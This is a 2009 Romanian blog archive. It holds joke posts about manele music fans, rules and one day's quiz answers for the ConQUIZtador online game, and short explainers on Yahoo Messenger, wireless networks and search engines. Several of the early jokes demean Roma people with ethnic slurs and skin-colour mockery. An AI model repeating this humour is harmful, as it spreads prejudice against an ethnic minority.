Trucuri NET

Shreck de Romania canta populara

2009-11-30T17:22:00.001+02:00

Status de manelist

2009-11-18T18:43:00.001+02:00

Statusuri de manelist pe yahoo messenger
-Pe turbosistem (available)
-Număr bani (busy)
-la Miss Piranda (stepped out)
-Întorc caseta şi vin (be right back)
-Îmi aştept dedicaţia pe Taraf (not at my desk)
-Ascult muzică la telefon (on the phone)
-Duşmanii pândeşte (invisible to everyone)
-Blestem şi plâng (offline)

Doi manelisti stateau de vorba:
-Auzi ma, da’ ce e ala sah?
-Bah, sahul e piesele alea care le bagam noi in punga cand jucam table!

Inca una despre manelari

2009-11-18T18:35:00.000+02:00

Intrebare : De ce au manelistii ciocate numai cu 10 cm mai lungi decat picorul?
Raspuns : Pt ca doar atat ii duce capul.

Intrebare : Toti manelistii sunt tigani?
Raspuns : Nu, doar o mica parte. Restul sunt romani prosti care ii urmeaza.

Intrebare : Toti manelistii sunt prosti?
Raspuns : Nu, doar romanii, restu asa sunt de felul lor.

Intrebare : In cate categorii se impart manelistii?
Raspuns : Prosti, foarte prosti si... Becali.

Intrebare : De ce pielea manelistilor se face maronie cu timpul?
Raspuns : Pt ca asculta muzica de cacat.

Intrebare : De ce dau manelistii din fund si roackerii din cap?
Raspuns : Fiecare scutura ce are...

CUM SA FACI O MANEA DE SUCCES IN 10 PASI SIMPLI.

2009-11-14T19:17:00.000+02:00

CUM SA FACI O MANEA DE SUCCES IN 10 PASI SIMPLI.

PASUL 1

Nume de bastan (Elvis, Florin Fermecatoru', Englezu', etc).

PASUL 2

Incultura generala obligatorie.

PASUL 3

IQ mai mic decat numarul de la pantofi.
Castigarea unui loc in categoria prosti, dar multi.

PASUL 4

Posesie (sau achizitionare pe parcurs) limuzina, castel, faraoanca si
boraci
(puradei).

PASUL 5

Rude-n puscarie.

PASUL 6
Imagine

1.. Bijuterii - Lant, ghiul si bratara de aur - mai mult de 1/2 din
greutatea corporala
2.. Freza - 2 parti gel, o parte par
3.. Hainele - Cat mai stralucitoare si de prost gust
1.. Camasa (alba sau neagra)
2.. Pantaloni (preferabil negri)
3.. Pantofi de lac
4.. Vesta, manta sau capa

PASUL 7
Versuri

1.. Vocabular obligatoriu
bani, dusmani, tigani, golani,
femei, fetite, printesa,
bautura,
dolari, aur, parai, lovele, milionar, Mercedes, celular,
inima, suflet, viata,
valoare
Interjectii : oooooooof, ah, sha-la-la, cicalaca-cichicha, etc

2.. Sunt admise
1.. greseli gramaticale
2.. verbe - conjugare si acord
3.. substantive - plural la alegere
4.. greseli de tipul "la toti", "lu' copilu' meu" si din seria
"casa" -
"as vrea ca sa te regasesc"
5.. versuri albe
6.. rime cu acelasi cuvant
7.. metafore duse la extrem ("floarea florilor", "sugativa-n
portofel")
8.. cuvinte straine ("bambina", "ragazza", etc)

PASUL 8
Subiecte

1.. iubirea
1.. relatiile
1.. cu mai multe femei
2.. reusite
3.. nereusite (vezi parasire)
2.. parasire
1.. pentru altul / alta (merge si homo)
2.. pentru bani
3.. pentru ambele
4.. moarte
2.. familia
1.. copiii
2.. nevasta
3.. fratele
bunastare, parasire sau lauda
3.. banii
1.. detinerea lor in cantitati mult exagerate
2.. risipa fireasca
3.. invidia celorlalti
4.. lauda proprie (bogatie, bunastare, performante sexuale,
sex-appeal,
performante muzicale)

PASUL 9
Melodia

1.. instrumente consacrate
1.. acordeon
2.. orga proasta
3.. instrument de suflat
4.. tobe de sintetizator cu generozitate
2.. voce
1.. optionala si/sau chinuita
2.. ecou
3.. accent obligatoriu
4.. rap inclus
3.. originalitate facultativa

PASUL 10
Videoclip

1.. miscari necesare (pt. manelist)
1.. stanga-dreapta (maxim doi pasi)
2.. pocnire din degete
3.. zambet cuceritor
2.. 15-20 de fete dotate care sa-si agite echipamentul
3.. decor prost (sau inexistent)
4.. lumini cat mai colorate
5.. cateva masini decapotabile in care sa cante barosanu'

Joc -> Separeu

2009-11-06T19:39:00.000+02:00

Joc -> Separeu

Jucătorii care doresc să joace la Separeu, trebuie să urmeze următoarele etape:
1. Clic pe Separeu.
2. Clic pe Separeu nou.
3. Aveţi posibilitatea să vă alegeţi jucători din listă, Oricine sau Robot.
Dumneavoastră trebuie să vă alegeţi 2 adversari, din opţiunile mai sus amintite, după care daţi clic pe Mai departe.
4. Alegeţi harta pe care doriţi să jucaţi dând Clic pe imaginea hărţii
5. Clic pe Creare separeu.
6. Separeul fiind creat, rămâne ca oponenţii să mai accepte invitaţia, intrând la rândul lor la Separeu şi dând click pe Intrare Invitati verbal

Adversarii nu primesc nici o invitaţie din partea dvs, ei nu au obligaţia să joace, rămânând doar in sarcina dvs să îi invitaţi verbal, în partida de pe separeu.

În cazul în care, aveti un cod de EROARE la crearea separeului, acesta este datorat faptului că unul dintre oponenţi are spaţiu în pseudonimul său. În acest caz, rugaţi-l pe el să creeze separeul, sau faceţi separeul cu opţiunea Oricine, în loc de a alege o persoană.

Jocul cu roboţi

2009-11-06T19:36:00.003+02:00

Jocul cu roboţi

În joc există două feluri de jucători robot:

1. Robot înlocuitor

Dacă un jucător iese din joc, acesta pierde 500 puncte, locul lui fiind luat de un robot.
Rezultatele obţinute de jucatorul robot sunt echivalente cu cele ale jucătorului, dar nu se primesc galbeni.
Dacă jucatorul reintră în joc, primeşte 400 puncte. Pedeapsa primită pentru ieşirea din joc e marcată cu culoare roşie, în dreptul punctajului.

2. De demaraj

În cazul în care nu sunt suficienţi jucători online, se poate porni un joc cu roboţi (jocul nu este la fel de palpitant).
În timpul jocului de probă, se poate apela la această variantă a jocului cu roboţi.

Galbeni

2009-11-06T19:36:00.001+02:00

Galbeni

Galbenii sunt banii universului ConQUIZtador.

Obţinerea galbenilor se face în următoarele moduri:
La sfârşitul unui joc, 1/5 din valoarea punctelor e convertită în galbeni, la trezoreria jocului.
Poţi câştiga galbeni şi în Quizz de intrare sau în chestionarele ConQUIZtador.

Galbenii îi poţi cheltui la Licitaţie unde poţi obţine premii valoroase.
Pe lânga acestea, ne mai gândim şi la alte posibilităţi de a-ţi cheltui galbenii.

Cont -> Jucător

2009-11-06T19:30:00.003+02:00

Cont -> Jucător

Crearea contului

Pentru crearea unui cont este nevoie doar de alegerea unui nume pentru acesta, o parolă şi o adresa validă de e-mail precum şi acceptarea Codului ConQUIZtador de etică (C.C.E.) .

După 24 de ore, îţi va fi cerută adresa de e-mail. Această adresă trebuie să fie validă, deoarece la această adresă îţi va fi trimis codul de înregistrare pentru a-ţi confirma înregistrarea şi o întrebare de siguranţă, în cazul în care ţi-ai uitat parola. Dacă utilizatorul doreşte să continue jocul (după cele 24 de ore de probă), atunci trebuie confirmată înregistrarea (folosind codul din e-mail-ul primit).
Numai după confirmarea contului şi după expirarea timpului de probă devii jucător cu drepturi depline pe site.

Numele contului ales trebuie să îndeplinească următoarele condiţii:

* Trebuie să conţină numai caractere din alfabetul englez şi român, cifre şi spaţii;
* Minimum 2 litere + 2 cifre, maxim 12 caractere (maxim 4 cifre + litere + spatii);
* Este valid orice nume de jucator de forma: - zi/nume,luna*/an: 9iunie1986, 12august1987; an/nume,luna*/zi: 1983iulie14; - numere de masini: B 01 AAA; *valabil si pt exceptia: luna mai, formata din 3 litere. Să nu fie vulgar, dezgustător sau să conţină expresii sexuale;
* Să nu folosească pseudonime uşor confundabile (admin, moderator, modi, redacţie, server, etc.);
* Să nu fie fără sens (de ex: asdas, azerty, qwerty, CMDS, a1892323132).

În caz contrar, moderatorii pot cere schimbarea numelui contului şi, dacă nu se primeşte răspuns, contul va fi şters. Administratorii şi moderatorii işi rezervă dreptul de a marca un utilizator pentru schimbare de nume fără a da vreo altă explicatie.

Modificarea, ştergerea Regatului

Modificare: Pentru schimbarea numelui de utilizator poţi cere unui moderator pe chat-ul principal să te marcheze pentru modificare de nume. După marcare, vei fi rugat să te reconectezi.
Ştergere: În cazul în care doreşti să ştergi un cont, scrie un mesaj prin Curier intern administratorului jocului, mosaic.

Important:
-> Din motive de securitate, parola contului nu are voie sa fie identică cu numele contului!
-> Nu divulgaţi parola contului nimănui nici în cazul în care se afirmă că administratorii sau moderatorii au nevoie de ea. Niciodată. Nici măcar sub tortură!!! ;-)
-> Sunteţi răspunzători de gestionarea parolei şi a adresei de e-mail!
-> Prin bifarea căsuţei "Am citit, accept şi voi respecta conţinutul C.C.E." te abonezi automat la Newsletterele ProTV SA.

Joc -> De cucerire

2009-11-06T19:30:00.002+02:00

Joc -> De cucerire

Jocul conţine 4 runde:

I. Alegerea regiunii de bază
II. Cucerirea
III.Împărţirea teritoriilor libere
IV. Război

Runda I. : Alegerea regiunii de bază

Jucătorii, unul după altul, îşi aleg regiunea de bază. Regiunile de bază nu pot fi învecinate şi valorează 1000 puncte.
Runda II. : Cucerirea

Jucătorii îşi aleg o regiune învecinată si, dacă răspund corect la întrebare, o ocupă. Regiunea astfel dobândită valorează 200 puncte.
Această rundă conţine maxim 6 ture. Din fair-play, ordinea jucătorilor în fiecare rundă este diferită.
Runda III. :Împarţirea teritoriilor libere

În fiecare tură, punem o întrebare de tip răspuns intuitiv celor 3 jucători. Câştigătorul îşi alege o regiune.
Regiunile astfel dobândite valorează 300 puncte. Această rundă ţine până se ocupă toate regiunile.

Runda IV. : Război

În fiecare tură un jucător poate să atace doar o singură dată. Atacatorul şi apărătorul trebuie să răspundă la aceeaşi întrebare cu mai multe variante de răspuns:

* Apărătorul câstigă dacă atacatorul greşeşte răspunsul
* Atacatorul câştigă dacă răspunde corect iar apărătorul greşit
* Dacă amândoi răspund corect, atunci departajarea se face după o întrebare cu răspuns intuitiv

Dacă atacatorul câstigă, ocupă regiunea apărătorului. Apărătorul pierde valoarea actuală a regiunii, valoarea regiunii devine de 400 puncte, care îi sunt atribuite atacatorului.
Dacă apărătorul răspunde corect (atacatorul greşeşte), acesta primeste 100 puncte bonus. Bonusul de apărare e marcat separat şi se anuleaza în cazul pierderii regiunii.

Atacul are două variante specifice: atacul regiunii de bază şi construcţia cetăţii..

Atacul regiunii de bază
Atacul devine posibil când regiunea imediat învecinată a fost ocupată.
Atacatorul trebuie să doboare cele 3 turnuri ale cetaţii (astfel sunt 3 ture într-o bătălie).
Dacă atacatorul pierde se încheie batalia, dar turnurile doborâte în urma unui atac nu necesită un nou atac.
Dacă se ocupă regiunea de bază al unui jucător acesta este eliminat, iar atacatorul primeşte toate regiunile ( şi valoarea lor în puncte) învinsului

Construcţia cetăţii
Ai posibilitatea reconstruirii turnurilor doborâte, în acest caz trebuie sa îţi "ataci" regiunea de bază, propria ta regiune.

Razboiul durează maxim 6 ture. Ordinea jucătorilor ( din motive de fair-play) şi ordinea turelor este aleatoare
Rezultatul războiului

La finalul jocului conform punctelor adunate, avem locurile 1, 2, 3.
Egalitatea nu este posibilă, în acest caz departajarea se face în urma unei întrebări de rapiditate şi precizie.
Dacă este departajare între toţi cei 3 adversari, primul primeşte 20 de puncte şi o stea (sau i se anulează un cap de mort), al doilea primeşte 10 puncte şi al treilea primeşte un cap de mort.

Joc -> Blitzkrieg

2009-11-06T19:30:00.001+02:00

Joc -> Blitzkrieg

Descrierea jocului

ConQUIZtador este un joc de quiz pe internet cu elemente de strategie, care se joaca în grupuri de 3 jucători, pe o hartă impartiţă in 12-20 teritorii.
Scopul jocului e ocuparea teritoriilor pe baza cărora se da puncte. Câştigă cel care are mai multe puncte la sfârşitul jocului.
Lupta pentru teritorii nu se face cu arme, ci prin intermediul răspunsurilor date la întrebările din joc.

Runda I.: Împărţirea teritoriilor de bază

Teritoriul este dat automat în jocul de Blitzkrieg de către sistem. Poziţia lui pe hartă este aleasă de către jucător numai la jocul de cucerire. Teritoriile de bază nu pot fi învecinate si valorează 1000 puncte.

Runda II. : Împărţirea teritoriilor libere

În această rundă jucătorii luptă pentru ocuparea teritoriilor libere.
În fiecare rundă punem o întrebare de răspuns rapid aproximat celor 3 jucători. Răspunsul întotdeauna va fi un număr întreg, pozitiv. Jucătorii au la dispoziţie 10 secunde pentru a scrie răspunsul (estimativ). Câştigă cel care a scris răspunde mai corect, mai aproape de realitate. În cazul in care au fost mai multe răspunsuri corecte (sau la fel de apropiate faţă de realitate), câştigă cel care a dat răspunsul cel mai rapid.
Câştigătorul poate sa-si aleagă două teritorii, iar cel de pe locul doi, un teritoriu. Se pot alege numai teritorii învecinate cu teritoriul deja ocupat (sau teritoriul de bază). Dacă nu mai sunt teritorii libere în vecinătate, atunci oricare teritoriu liber poate fi ales. Jucătorii au 10 secunde pentru alegerea teritoriului, peste acest timp, programul le va alege întâmplător. Pentru fiecare teritoriu jucătorii primesc câte 200 de puncte. 3 teritorii reprezintă teritoriile de bază atribuite automat jucătorilor, apoi urmează 4 runde de întrebări rapide, în care se ocupă restul de 12 teritorii rămase libere după ocuparea teritoriilor de bază.

Runda III. : Război

De aici încolo, jucătorii se luptă pentru ocuparea teritoriilor (si acapararea punctelor) de la ceilalţi jucători.
Runda conţine trei ture de joc, în fiecare tură un jucător poate să atace doar o singură dată. In primele două ture, ordinea după care se ataca va fi prin tragere la sorţi.
In primul tur a Războiului, jucătorii pot sa atace numai teritorii vecine cu imperiul lor, dar nu teritoriul lor de bază.
În timp ce atacatorul si apărătorul se luptă, al treilea jucător va fi numai observator.
Descrierea luptei:
Atacatorul si apărătorul trebuie sa răspundă la aceeaşi întrebare. Au 15 secunde, ca sa aleagă răspunsul corect dintre cele 4 răspunsuri. Numai un singur răspuns este corect.

# Apărătorul câştigă dacă atacatorul greşeşte răspunsul (sau nu răspunde)
# Atacatorul câştigă dacă răspunde corect şi apărătorul
# Dacă amândoi răspund corect atunci departajarea se face după o întrebare cu răspuns intuitiv

Dacă atacatorul câştigă, ocupă regiunea apărătorului. Apărătorul pierde valoarea actuală a regiunii, valoarea regiunii devine de 400 puncte care îi sunt atribuite atacatorului. Pe parcursul jocului, aceasta teritoriu va avea valoarea de 400 de puncte.
Dacă apărătorul răspunde corect, acesta primeşte 100 puncte bonus.
In turul al doilea al Războiului, se pot ataca si teritorii de bază, dacă ele sunt vecine cu imperiul atacatorului.
La atacul regiunii de bază, atacatorul trebuie să doboare toate cele 3 turnuri ale cetăţii. Dacă atacatorul câştigă o bătălie, şi doboară un turn, atunci atacul continuă, până ce doboară toate turnurile, sau pierde o bătălie.
Dacă atacatorul a doborât şi ultimul turn, ocupă regiunea de bază a apărătorului, si primeşte toate regiunile (si valoarea lor în puncte) a învinsului. Apărătorul va fi eliminat din joc. Dacă se atacă un teren de bază (cetate) în care turnurile sunt deja doborâte, ele nu trebuie doborâte încă o dată. Cetatea cu turnurile doborâte si aşa valorează 1000 de puncte proprietarului, iar dacă aceasta va fi ocupată de al treilea jucător, ii va valora numai 400 de puncte.

In ultimul tur a Războiului, ordinea de atac a jucătorilor va fi în functie de punctele cumulate până aici (prima dată cel care are cele mai multe puncte). Acum oricare regiune se poate ataca, având speranţa să câştige jocul chiar si cel cu punctele cele mai puţine (cu ocuparea unui teren de bază)

Întrebare de departajare

În cazul in care la sfârşitul jocului (după ultimul tur al Războiului) mai mulţi jucători sunt la egalitate (au acelaşi nr. de puncte), atunci cu o întrebare de tip răspuns intuitiv vor decide ordinea finală.

Observaţie

Cu atacul unei teritoriu de 200 de puncte si poate reduce o diferenţa de 600 de puncte, iar la teritoriul de 400 de puncte, diferenţa de 800 puncte. Posibilitatea de atac a unei cetăţi deja doborâte este mică, dar in acest caz atacatorul poate câştigă 400 de puncte, iar fostul proprietar pierde 1000 de puncte, ceea ce înseamnă 1400 de puncte reduse.
Nu uitaţi că apărătorul la răspuns corect primeşte 100 de puncte, cu care ar putea câştigă lupta.
În caz de egalitate la cei doi sau 3 jucători se face departajare printr-o întrebare rapidă adresată celor 3 sau 2. Primul primeşte 20 de puncte şi o stea sau i se scade un cap de mort, al doilea 10 puncte, iar ultimul iese pe locul 3, primind un cap de mort.

Joc -> Quiz de intrare

2009-11-06T19:30:00.000+02:00

Joc -> Quiz de intrare

Quizz-ul de intrare conţine maxim 5 întrebări şi apare zilnic, la prima accesare a jocului. Completarea quiz-ului de intrare nu este obligatorie. In partea de jos a paginii quiz-ului de intrare există şi un buton "Azi omit" precum şi un checkbox cu ajutorul căruia puteţi dezactiva această opţiune. Reactivarea Quizz-ului de intrare se face pe pagina a contului, Harta, Datele Mele.

Completarea corecta a quiz-ului de intrare iti poate aduce 2000 de galbeni.

Întrebările de cultură generală
3 întrebări din cele 5 sunt întrebări de cultură generală. În cazul unui răspuns corect primeşti 200 de galbeni însă în cazul unui răspuns greşit pierzi 100 de galbeni.

Întrebările Joker sau Bonus
Întrebările Joker şi Bonus sunt puse de catre ProTV S.A. şi de reguă sunt asociate campaniilor publicitare de pe site.

În cazul unui răspuns corect întrebarea Joker îţi aduce 400 de galbeni în timp ce întrebarea Bonus te va bucura cu 1000 de galbeni. Întrebarea Bonus este însoţită întotdeauna şi de un link către un site extern, site ce vă va ajuta să descoperiţi răspunsul corect.

În cazul în care nu răspunzi corect la aceste întrebări poţi sta liniştit deoarece nu pierzi nici un galben. ;)

Dacă crezi că una din dintre întrebări este eronată, în cazul întrebărilor de cultură generală ai butonul de Observaţii la quizz-ul de intrare, iar pentru întrebarea Joker ai link către forum cu numele "transmit operatorului de site".

Conquiztador

2009-11-06T19:27:00.003+02:00

Cont -> Jucător

Joc -> De cucerire

Joc -> Blitzkrieg

Joc -> Separeu

Joc -> Quiz de intrare

Jocul cu roboţi

Galbeni

Quiz intrare 6 noiembrie 2009

2009-11-06T19:15:00.002+02:00

Ce culoare are laptop-ul DELL Inspiron aflat în promoţie la un preţ special?
Roz

Cine a regizat filmul “2012″ cu John Cussack in rolul principal?
Roland Emmerich

Ce arhitect francez a proiectat Opera din Paris şi cazinoul din Monte Carlo?
Charles Garnier

În ce an au lansat Rolling Stones albumul “Sticky Fingers”?
1971

Ce naţionalitate avea James Naismith, inventatorul jocului de baschet?
canadiană

Unde se află “Cascada Epupa”, care face parte din gruparea de cascade “Epupa Falls”?
graniţa dintre Angola şi Namibia

În ce an s-a născut Christoph Probst membru al grupului de rezistenţă antinazist Trandafirul Alb?
1919

Internet

2009-11-06T17:48:00.003+02:00

Ce este Internetul?

Motoare de cautare

Wireless

Yahoo Messenger

Yahoo Messenger

2009-11-06T17:28:00.002+02:00

Yahoo Messenger este un serviciu gratuit care ne permite sa vorbim cu prietenii nostri care sunt online expediandu-le mesaje instantanee.
El poate de asemenea sa va alerteze daca aveti un mail nou in posta Yahoo Mail sau contul Yahoo Personals, sau in anumite date pe care vi le-ati setat in Yahoo Calendar. Yahoo Messenger vine cu un firewall incorporat.

FACILITATILE MESSENGERULUI:
VOICE CHAT (call) care permite cu ajutorul unui microfon sa dialogati cu o alta persoana sau se pot realiza conferinte cu mai multi prieteni din lista.

VIDEO (webcam) permite cu ajutorul unei camere web sa fim vazuti de cei din lista noastra de messenger. Conferinta se poate realiza si cu ajutorul camerei web.

SEND FILE este folosit pentru trimitere de fise si documente, si este mai util din punct de vedere al cantitatii (pana la 1 GB) decat mail-ul.

TRIMITERE DE POZA (share photos) este folosit pentru tranfer de poze.

JOCURILE ONLINE (games) au inceput sa fie si ele mai mult luate in considerare de cei de la yahoo pentru o multa functionalitate a messengeru-lui si acest lucru este apreciat de catre persoanele fizice pentru ca este un nou mediu de distractie si de alungare a plictiselii.

MASS-URILE sunt considerate o facilitate pentru ca se poate trimite mesaje scrise in timp foarte scurt la mai multe persoane odata, ori pe grupuri ori la toata lista.

ARHIVA este foarte pretioasa la un ID de mess pentru ca raman stocate dialogurile noastre (cele scrise) cu prietenii nostri.

Wireless

2009-11-06T17:26:00.001+02:00

O noua tehnologie in domeniul retelelor incearca sa se impuna in momentul actual, cea a retelelor LAN in locul cablurilor, ca mediu de transmisie a datelor, este luat de undele radio sau infrarosii.

O retea WLAN (Wireless Local Area Network) este un sistem flexibil de comunicatii de date, folosit ca o extensie sau o alternativa la reteaua LAN prin cablu, intr-o cladire sau un grup de cladiri apropiate. Folosind undele electromagnetice, dispozitivele WLAN transmit si primesc date prin aer, eliminand necesitatea cablurilor si transformand reteaua intr-un LAN mobil.

Astfel, daca o firma are un WLAN, la mutarea in alt sediu nu este nevoie de cablari si gauriri in pereti si plafoane pe care acestea le presupun, ci pur si simplu se muta calculatoarele si reteaua poate functiona imediat. Ce-i drept, in general retelele WLAN se folosesc impreuna cu LAN-urile clasice, mai ales pentru parte de tiparire in retea pentru legatura la server.

WLAN-urile folosesc unde electromagnetice din domeniul radio si infrarosu. Primul tip este cel mai raspandit, deoarece undele radio trec prin pereti si alte obiecte solide, pe cand radiatia infrarosu, ca si lumina nu poate strapunge obiectele opace si are o raza de acoperire mult mai mica. Totusi, si acest din urma tip este luat in considerare de unele solutii, pentru conectarea unor echipamente care nu se deplaseaza in timp ce se realizeaza transfer de date.

Dupa cum am spus, in majoritatea cazurilor este necesara o legatura intre WLAN si LAN. Acesta se realizeaza prin asa numitele puncte de acces (acces points, AP). Un punct de acces, care este un emitator sau un receptor de unde radio se conecteaza la un LAN prin cablu.

El primeste, stocheaza si transmite date de la/catre aparatele din WLAN si cele din LAN si are o raza de actiune care merge de la 30 pana la 300 de metri. De exemplu echipamentele Air Connect de la 3COM au o raza de actiune de 60 de metri, in cadrul unei cladiri cu birouri standard.

Aceste echipamente, folosite in aer liber, desi nu sunt proiectate decat pentru folosirea in incaperi, ajung pana la 300 - 400 de metri.

Utilizatorii acceseaza reteaua WLAN prin adaptoare speciale, care se prezinta sub forma unor placi PCI sau ISA, pentru PC-urile desktop, sau a unor echipamente externe, pentru notebookuri. Ele functioneaza ca si placile de retea clasice, iar sistemele de operare instalate le trateaz ca pe placile de retea. Practic, faptul ca exista o conexiune wireless in locul celei prin cablu este transparent pentru sistemul de operare.
La faza de configuratii ca si in cazul retelelor LAN, si la cele WLAN exista mai multe topologii.

Cea mai simpla este WLAN-ul independent. De fiecare dat cand doua PC-uri se afla in zona de actiune a adaptoarelor lor WLAN, se poate stabili o conexiune. Aceasta configuratie nu necesita o configurare speciala sau administrare. Un punct de acces adaugat acestei configuratii dubleaza practic raza de actiune, functionand ca un receptor.
Extinzand analogia cu retelele LAN, punctul de acces functioneaza ca un hub, dubland distanta maxima dintre PC-uri.

Cea de a doua topologie este cea numita infrastructura, unde mai multe puncte de acces leaga WLAN-ul de LAN-ul cablat, permitand utilizatorilor sa foloseasca eficient resursele retelei. AP-urile nu fac doar legatura cu LAN-ul, ci si gestioneaza traficul prin WLAN in raza lor de actiune. Mai multe AP-uri pot acoperi chiar si o cladire foarte mare.

Comunicatia fara fir este limitata dew distanta pe care o acopera un echipament WLAN, acesta din urma fiind o caracteristica a puterii emitator/receptor. WLAN-urile folosesc celule, care aici se numesc micro-celule, pentru a extinde zona de acoperire a WLAN-ului.

O microcelula este aria de acoperire a unui punct de acces. Principiul este asemanator cu al telefoniei celulare. In orice moment un utilizator care dispune de un PC mobil, dotat cu adaptor WLAN este asociat unei singure microcelule. Deoarece microcelulele se suprapun partial la trecerea utilizatorului de la o microcelula la alta nu se intrerupe comunictia dintre el si retea.

Sursa: Anunturi

Motoare de cautare

2009-11-06T17:25:00.001+02:00

Cautarea informatiilor pe internet
Se putea pomeni, la un moment dat, de o supraabundenta a informatiilor... In 1999 erau peste 800 milioane de documente pe web... Site-uri comerciale, personale, institutionale, universitare; articole, romane, pagini publicitare, cataloage... Peste 100 de limbi... Este suficient sa cauti, de exemplu, "istorie antica" si imediat te zapacesti... Internautul renunta, de obicei, la vizualizarea sutelor de documente propuse...

Anuare internationale sunt Yahoo! (http://www.yahoo.com) precum si versiunea in franceza, Yahoo!France (http://www.yahoo.fr) - Yahoo fiind primul anuar care a aparut pe web (mentionez ca Yahoo! intra totodata si in categoria portalurilor); Dmoz (http://www.dmoz.org) - un anuar care traieste datorita contributiilor internautilor, care valideaza site-urile si accepta sau refuza o inscriere. Dmoz are de asemenea o varianta francofona, animata la randul sau tot de un grup de voluntari.

Exista si alte anuare la fel de interesante prin forma si continutul lor, cum ar fi: Nomade (http://www.nomade.fr); Sharelook (http://www.sharelook.fr); Ctrouvé (http://www.ctrouve.com); Francité (www.francite.com).

Nomade
Nomade - ghidul Net-ului francofon - prezinta site-urile web in franceza postate pe Internet. A fost lansat in iulie 1996 de catre societatea ObjectifNet, si pe langa capacitatea de cautare, Nomade, ca si majoritatea concurentilor, propune diferite servicii pentru a incerca sa-si fidelizeze utilizatorii: meteo, selectii de site-uri, dosare, benzi desenate multimedia etc.

Contrar robotilor de cautare care indexeaza automat paginile web, Nomade este realizat de o echipa de documentalisti, stagiari si un redactor sef.Sunt oferite astfel doua tipuri de cautari: prin cuvinte cheie sau pe categorie (navigare in arborescenta tematica). Editorii si/sau administratorii de site-uri se inscriu in Nomade prin completarea unui formular online. Aceste formulare sunt integrate intr-o baza de date, Nomade primind in medie cca 150 de site-uri pe zi si 400 in week-end.

Echipa Nomade verifica toate intrarile saptamanale, sarcina lor fiind de a verifica sistematic URL-urile si conformitatea descrierilor cu continutul site-ului, numele editorului, situatia geografica precum si natura sa (asociatie, intreprindere, public, educativ sau personal), publicul vizat (pentru tot publicul, copii, adolescenti, adulti sau profesionisti), verificarea si eventual modificarea categoriilor alese de editor.

Si acum sa trecem la motoarele de cautare... principalele motoare de cautare la nivel international sunt: Altavista () si cu versiunea sa in franceza (); Google () este considerat astazi unul dintre motoarele cele mai performante prin calitatea algoritmilor si a rezultatelor afisate; Lycos (); Inktomi (); Hotbot (); Excite ().

Google
Google a cunoscut, doar in cativa ani, un succes fenomenal. Lansat ca un simplu motor in faza de testare, in septembrie 1998, de doi studenti de la Universitatea Stanford, Larry Page si Sergey Brin, motorul de cautare isi inaugura versiunea sa comerciala un an mai tarziu.

Google primeste in fiecare zi circa 130 de milioane de cereri din toata lumea... deoarece el nu este un motor de cautare ca toate celelalte. Chiar daca se bazeaza pe cautarea cuvintelor cheie, clasate in functie de numar si de site-urile de origine, Google nu merge pe principiul ca site-urile respective sa plateasca pentru a fi afisate in capul listei. Sistemul "page rank", inventat de cei doi studenti, reprezinta popularitatea paginilor.

O alta particularitate a sa este de ordin strategic: in timp ce alte motoare sunt invadate de zeci de bannere publicitare, pe Google, publicitatea se limiteaza doar la cateva link-uri hypertext discrete, care apar pe ecran doar daca sunt in raport cu informatiile cautate.

De asemenea, o alta caracteristica este functionarea in mai multe limbi. Poate chiar exagerat de multe: maghiara, sarba, ucraineana, turca, rusa, poloneza, olandeza etc.
Pe de alta parte, Google efectueaza cercetari documentare complexe pentru cine este interesat, fie persoana fizica sau juridica, bineinteles, contra cost.

Deoarece concurenta in acest domeniu devine din ce in ce mai acerba, recent, Google a organizat un concurs al carui premiu era de 10.000 de dolari. Castigatorul premiului a creat o modalitate de cautare care permite gasirea paginilor dupa zona geografica in care sunt localizate.

Dar adevaratul castigator al concursului poate fi chiar Google deoarece si-a imbunatatit tehnologiile de cautare prin programele primite de la participanti si pe care le poate administra dupa bunul plac, datorita conditiilor incluse in formularele de participare la concurs.

SURSA 02

Astfel, tehnologiile pe care le-a primit Google se refera la reducerea erorilor in ceea ce priveste paginile create, posibilitatea ca hyperlink-urile sa fie conectate mai bine atunci cand site-ul tinta isi schimba locatia, cautarea informatiilor in fisiere compresate etc. Totodata, Google a lansat doua situri pentru a dezvolta tehnologiile de cautare experimentala si navigare.

Prima pagina de proba, Google Labs, permite utilizatorilor sa testeze tehnologii noi produse de echipa de cercetare si dezvoltare Google. Aceste experimente includ un glosar, o aplicatie de cautare vocala, shortcut-uri de la tastatura pentru navigarea prin rezultatele cautarii.

Pagina a doua prezinta add-on-uri experimentale la toolbar-ul lui Google, un download de software care permite utilizatorilor care fac surf pe Web cu navigatorul internet Explorer de la Microsoft sa caute baza de date Google printr-o aplicatie persistenta inclusa in interfata internet Explorer. Deci, la ora actuala, Google ramane cel mai bun motor de cautare.

WebCrawler
WebCrawler este primul dintre robotii de cautare ce a fost lansat pe piata. Dezvoltat in cadrul unui proiect de cercetare la Universitatea din Washington la inceputul anului 1994, a fost o veritabila reusita comerciala.De la inceputul exploatarii sale, baza sa de date continea informatii de pe 6000 de servere web.

La sfarsitul anului, serviciul primea mai mult de 15000 de cereri pe zi.Practic, un robot este compus din trei module distincte; un robot explorator (spider), un sistem de indexare si un program de cautare (searcher).

Ghidul
Dupa parerea mea, un anuar este mai generalist, mai exhaustiv in continut decat ghidul care este mult mai specializat, mult mai tematic, mult mai bine organizat.Ghidul, prin continutul sau, este mai aproape de internaut, deoarece ii propune o informatie cizelata, de o calitate net superioara fata de cea propusa de anuar.

Metamotorul
Un metamotor este un script (pe net) sau un program (pe calculator) care consulta bazele diferitelor unelte de cautare. Rezultatele sunt afisate intr-o pagina a browser-ului.

El poate clasa rezultatele in functie de dorintele voastre, poate suprima dublurile si ofera posibilitatea de a face o cautare avansata, tinandu-se seama de limba, tara etc.
Exista doua tipuri de metamotoare: cel mai bun exemplu este Copernic () care consulta mai multe unelte de cautare dupa tematica pe care ati ales-o.Pune intrebarea voastra si trimite rezultatele in pagina de browser.

De asemenea anuleaza site-urile in constructie si suprima raspunsurile duble; Metamotoarele online sunt foarte numeroase: Metacrawler (); Ixquick (); Infozoid ().

Portalul
Portalurile propun posibilitatea de a cauta pe web fie trecand printr-un anuar, fie printr-un motor.Ca definitie, un portal este un site web ce ofera internautilor o gama larga de resurse si servicii.

Cu ajutorul acestuia, puteti gasi toate informatiile pe care le cautati si chiar si pe cele pe care nu le cautati, cum ar fi ultimele cotari de la Bursa, stiri externe, interne, economice, sport, sociale, vremea in week-end din Bucuresti sau Praga sau oricare alt oras din lume, gestionarea casutei de e-mail, horoscopul, etc.

Cel mai bun exemplu al unei unelte de cautare devenita portal este chiar Yahoo.
Dintr-un simplu anuar, Yahoo a reusit sa-si imbunatateasca serviciile anexe. Alte portaluri cunoscute: Liberty Surf (); Wanadoo ().

